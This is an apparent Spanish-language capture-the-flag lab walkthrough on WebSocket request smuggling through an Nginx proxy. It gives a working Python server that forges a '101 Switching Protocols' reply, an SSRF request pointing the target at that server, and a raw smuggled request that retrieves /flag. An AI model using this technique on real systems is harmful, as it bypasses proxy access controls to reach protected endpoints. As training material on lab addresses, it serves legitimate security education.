Elevar Nuestro Proxy
Por ahora, hemos estado trabajando con un proxy que no comprueba la respuesta del servidor para determinar si el upgrade de WebSocket fue exitoso o no. En esta tarea, reemplazaremos el proxy vulnerable Varnish con un proxy Nginx que comprueba las respuestas antes de tunelizar peticiones a través de una conexión WebSocket. La aplicación de backend seguirá teniendo el endpoint /socket habilitado con los WebSockets y el endpoint /flag como objetivo. La nueva aplicación puede ser accedida vía http://IP:8002/.
Primero intentaremos ejecutar el payload que usamos en la tarea anterior:

Fíjate que Nginx no filtra la flag a pesar de obtener una respuesta 426 para el WebSocket upgrade inicial. Como Nginx está comprobando la respuesta antes de elevar, puede determinar que no se pudo establecer una conexión válida, por lo que no nos permite contrabandear la petición a /flag.
Engañar al Proxy
Como no podemos simplemente contrabandear peticiones ya, necesitamos encontrar una manera de engañar al proxy para que piense que se ha establecido una conexión WebSocket válida. Esto implica de alguna manera forzar a que el servidor responda a nuestra petición con una respuesta falsa 101 Switching Protocols sin llegar a elevar la conexión.
Aunque no seamos capaces de hacer esto para todas las aplicaciones, si nuestra app objetivo tiene algún tipo de vulnerabilidad que nos permite proxear las peticiones de vuelta al servidor que controlamos como atacantes, podremos ser capaces de inyectar la respuesta 101 Switching Protocols. En este caso especial, deberíamos ser capaces de contrabandear peticiones a través de una conexión WebSocket.

Aprovechar SSRF
En la aplicación de esta tarea, nos aprovecharemos de una vulnerabilidad SSRF para simular un falso upgrade WebSocket. Después de una inspección rápida, podemos ver que la aplicación nos permite comprobar el estado de una URL. Cada vez que introducimos una URL, el servidor hace una petición a http://IP:8002/check-url?server=<url> y devuelve el código de estado de la respuesta correspondiente:

Podemos usar nc para ver si podemos redirigir una petición hacia nosotros mismos. Deberíamos obtener una respuesta similar a esta:
user@attackbox$ nc -lvp 5555 Listening on 0.0.0.0 5555 Connection received on 10.114.191.82 52988 GET /test HTTP/1.1 Host: 10.10.11.155:5555 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive
Esto significa que podemos usar la vulnerabilidad SSRF para influenciar la respuesta del backend. Todo lo que necesitamos es configurar un servidor web que responda con estado 101 permitiéndonos falsificar una upgrade WebSocket.
Configurar el Servidor del Atacante
Podemos configurar rápidamente un servidor que responda con 101 a cualquier petición con el siguiente código Python:
import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 1: print(""" Usage: {} """.format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.protocol_version = "HTTP/1.1" self.send_response(101) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
Guardamos el código y lo ejecutamos.
Falsificar un WebSocket
Finalmente estamos listos para mandar el payload. Usaremos BurpSuite para mandar una petición a check-url contra nuestro servidor malicioso. La petición debería verse así:
GET /check-url?server=http://10.10.11.155:5555 HTTP/1.1 Host: 10.114.191.82:8002 Sec-WebSocket-Version: 13 Upgrade: WebSocket Connection: Upgrade Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg== GET /flag HTTP/1.1 Host: 10.114.191.82:8002
Si todo va como esperado, deberíamos obtener una petición en nuestro servidor web malicioso y el valor de la flag en Burp.

Recuerda que /check-url no es un endpoint WebSocket. Sólo estamos manipulando tanto la petición como la respuesta que el proxy obtiene para hacerle creer que es un WebSocket real. Esto significa que el proxy tunelizará la segunda petición en nuestro payload como si fuera parte de la conexión WebSocket, pero el backend la procesará como una petición HTTP ya que no hay WebSocket.
